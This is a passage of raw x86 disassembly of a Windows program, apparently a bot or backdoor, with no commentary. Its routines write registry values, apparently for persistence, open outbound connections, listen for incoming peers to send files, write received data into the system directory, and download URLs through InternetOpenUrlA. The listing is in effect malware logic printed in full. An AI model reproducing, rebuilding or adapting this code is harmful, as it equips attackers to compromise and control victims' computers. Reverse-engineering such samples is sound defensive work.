loc_40B27A:				; CODE XREF: sub_40B24D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40B24D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B27F	proc near		; DATA XREF: sub_40CE55+5532o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B2D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42BA34
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h

loc_40B2D2:				; CODE XREF: sub_40B27F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B2F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B2F2
		mov	[ebp+var_8], eax

loc_40B2F2:				; CODE XREF: sub_40B27F+5Aj
					; sub_40B27F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43A764

loc_40B2FB:				; CODE XREF: sub_40B27F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B355
		cmp	byte ptr [esi],	0
		jz	short loc_40B344
		cmp	[ebp+var_98], 0
		jz	short loc_40B32A
		cmp	[ebp+var_4], 0
		jnz	short loc_40B32A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B344

loc_40B32A:				; CODE XREF: sub_40B27F+90j
					; sub_40B27F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h

loc_40B344:				; CODE XREF: sub_40B27F+87j
					; sub_40B27F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43E764
		jl	short loc_40B2FB

loc_40B355:				; CODE XREF: sub_40B27F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42BA04
		push	eax
		call	sub_4154E7
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B38F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h

loc_40B38F:				; CODE XREF: sub_40B27F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_18]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40B27F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3AE	proc near		; CODE XREF: sub_409E15+1Ep
					; sub_40C682+350p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42BA58
		xor	esi, esi
		mov	ebx, offset dword_42C21C

loc_40B3C1:				; CODE XREF: sub_40B3AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43A34C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40B3FB
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43A3BC	; RegSetValueExA
		jmp	short loc_40B405
; ---------------------------------------------------------------------------

loc_40B3FB:				; CODE XREF: sub_40B3AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43A304	; RegDeleteValueA

loc_40B405:				; CODE XREF: sub_40B3AE+4Bj
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42BA70
		jl	short loc_40B3C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B3AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B41E	proc near		; CODE XREF: sub_40B459+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40B453
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40B437:				; CODE XREF: sub_40B41E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_42125C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B437
		pop	edi
		pop	ebx

loc_40B453:				; CODE XREF: sub_40B41E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40B41E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B459	proc near		; CODE XREF: sub_40BCEF+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415DC9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415BE8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40B4A8

loc_40B47E:				; CODE XREF: sub_40B459+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40B4AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_4174DF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B4A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 10h
		jmp	short loc_40B47E
; ---------------------------------------------------------------------------

loc_40B4A8:				; CODE XREF: sub_40B459+23j
					; sub_40B459+39j
		xor	eax, eax
		jmp	short loc_40B4C7
; ---------------------------------------------------------------------------

loc_40B4AC:				; CODE XREF: sub_40B459+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B41E
		push	esi
		mov	ebx, eax
		call	sub_415E3D
		push	edi
		call	sub_415B40
		add	esp, 10h
		mov	eax, ebx

loc_40B4C7:				; CODE XREF: sub_40B459+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4CB	proc near		; CODE XREF: sub_40B551+33p
					; sub_40BAB4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43A418	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B547
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43A398	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43A3D8	; inet_addr
		cmp	eax, esi
		jnz	short loc_40B52C
		push	[ebp+arg_0]
		call	dword_43A41C	; gethostbyname
		test	eax, eax
		jz	short loc_40B547
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40B52C:				; CODE XREF: sub_40B4CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43A340	; connect
		cmp	eax, esi
		jnz	short loc_40B54B
		push	edi
		call	dword_43A430	; closesocket

loc_40B547:				; CODE XREF: sub_40B4CB+1Bj
					; sub_40B4CB+58j
		mov	eax, esi
		jmp	short loc_40B54D
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4CB+73j
		mov	eax, edi

loc_40B54D:				; CODE XREF: sub_40B4CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B4CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B551	proc near		; DATA XREF: sub_40CE55+A79o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40B4CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B5E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BAFC
		push	eax
		call	sub_4154E7
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B5C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h

loc_40B5C7:				; CODE XREF: sub_40B551+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_40B5E4:				; CODE XREF: sub_40B551+3Fj
		push	offset byte_438FBC
		push	ebx
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B64F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BAB8
		push	eax
		call	sub_4154E7
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B62B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h

loc_40B62B:				; CODE XREF: sub_40B551+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	dword_43A430	; closesocket
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_40B64F:				; CODE XREF: sub_40B551+A3j
		push	64h
		call	dword_421060	; Sleep
		xor	edi, edi
		mov	esi, 1000h

loc_40B65E:				; CODE XREF: sub_40B551+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		test	eax, eax
		jle	short loc_40B6BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_426CB4 ; "\n"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6BB
		push	64h
		call	dword_421060	; Sleep
		push	7
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	short loc_40B65E

loc_40B6BB:				; CODE XREF: sub_40B551+130j
					; sub_40B551+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BA70
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B6EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h

loc_40B6EE:				; CODE XREF: sub_40B551+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	dword_43A430	; closesocket
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40B551	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B712	proc near		; DATA XREF: sub_40CE55+46F3o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40B760
		push	offset dword_42BC9C
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B760:				; CODE XREF: sub_40B712+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43A398	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43A3C4	; bind
		test	eax, eax
		jz	short loc_40B79E
		push	offset dword_42BC64
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B79E:				; CODE XREF: sub_40B712+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43A33C	; getsockname
		push	[ebp+var_2E]
		call	dword_43A2D4	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415CF0
		pop	ecx

loc_40B7D0:				; CODE XREF: sub_40B712+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40B7E3
		push	5Fh
		pop	eax
		jmp	short loc_40B7E6
; ---------------------------------------------------------------------------

loc_40B7E3:				; CODE XREF: sub_40B712+CAj
		movsx	eax, al

loc_40B7E6:				; CODE XREF: sub_40B712+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40B7D0
		push	ebx
		push	edi
		call	dword_43A3C0	; listen
		test	eax, eax
		jz	short loc_40B819
		push	offset dword_42BAFC
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B819:				; CODE XREF: sub_40B712+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40B843
		push	offset dword_42BC30
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B843:				; CODE XREF: sub_40B712+125j
		push	esi
		push	eax
		call	dword_421090	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		push	eax
		call	dword_43A394	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BC18
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43A380	; select
		test	eax, eax
		jg	short loc_40B8F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42BBEC
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		jmp	loc_40BA17
; ---------------------------------------------------------------------------

loc_40B8F3:				; CODE XREF: sub_40B712+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43A42C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40B92C
		push	offset dword_42BBB4

loc_40B919:				; CODE XREF: sub_40B712+49j
					; sub_40B712+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40BA1A
; ---------------------------------------------------------------------------

loc_40B92C:				; CODE XREF: sub_40B712+200j
		push	edi
		call	dword_43A430	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40B9DE
		mov	edi, 400h

loc_40B941:				; CODE XREF: sub_40B712+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40B94E
		mov	[ebp+var_4], eax

loc_40B94E:				; CODE XREF: sub_40B712+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43A3E8	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43A3B0	; recv
		cmp	eax, ebx
		jl	loc_40BA73
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40BA73
		sub	[ebp+arg_0], eax
		jnz	loc_40B941
		mov	edi, [ebp+var_18]

loc_40B9DE:				; CODE XREF: sub_40B712+224j
		push	[ebp+var_8]
		call	dword_42106C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BB60
		push	eax
		call	sub_4154E7

loc_40BA17:				; CODE XREF: sub_40B712+1DCj
		add	esp, 14h

loc_40BA1A:				; CODE XREF: sub_40B712+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40BA3F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		add	esp, 14h

loc_40BA3F:				; CODE XREF: sub_40B712+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40B16D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40BA57
		push	edi
		call	dword_43A430	; closesocket

loc_40BA57:				; CODE XREF: sub_40B712+33Cj
		push	[ebp+var_1F8]
		call	dword_43A430	; closesocket
		push	[ebp+var_58]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_40BA73:				; CODE XREF: sub_40B712+2AFj
					; sub_40B712+2BAj
		push	esi
		mov	esi, offset dword_42BB34
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		push	esi
		call	sub_40B16D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43A430	; closesocket
		push	[ebp+var_58]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40B712	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAB4	proc near		; DATA XREF: sub_40CE55+7B7o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB3E
		push	offset dword_42BDA4
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------

loc_40BB3E:				; CODE XREF: sub_40BAB4+81j
		push	eax
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40BB66
		push	offset dword_42BD60
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------

loc_40BB66:				; CODE XREF: sub_40BAB4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40B4CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40BB97
		push	offset dword_42BD2C

loc_40BB84:				; CODE XREF: sub_40BAB4+88j
					; sub_40BAB4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40BC91
; ---------------------------------------------------------------------------

loc_40BB97:				; CODE XREF: sub_40BAB4+C9j
		mov	esi, 1000h

loc_40BB9C:				; CODE XREF: sub_40BAB4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3B0	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40BC63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BC04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4175FF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43A394	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		jmp	short loc_40BB9C
; ---------------------------------------------------------------------------

loc_40BC04:				; CODE XREF: sub_40BAB4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BB34
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412D4C
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_4]
		call	sub_415B40
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket
		push	[ebp+var_1C]
		call	sub_4152AF
		pop	ecx
		push	1
		call	dword_421048	; ExitThread

loc_40BC63:				; CODE XREF: sub_40BAB4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BCD4
		push	eax
		call	sub_4154E7
		add	esp, 1Ch

loc_40BC91:				; CODE XREF: sub_40BAB4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40BCB6
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412D4C
		add	esp, 14h

loc_40BCB6:				; CODE XREF: sub_40BAB4+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B16D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40BCD1
		push	[ebp+var_4]
		call	sub_415B40
		pop	ecx

loc_40BCD1:				; CODE XREF: sub_40BAB4+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40BCDF
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket

loc_40BCDF:				; CODE XREF: sub_40BAB4+220j
		push	[ebp+var_1C]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40BAB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCEF	proc near		; DATA XREF: sub_40CE55+36E9o
					; sub_40CE55+3E36o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43A348
		call	dword_43A2A8	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40C17B
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40BDB6
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42C060
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
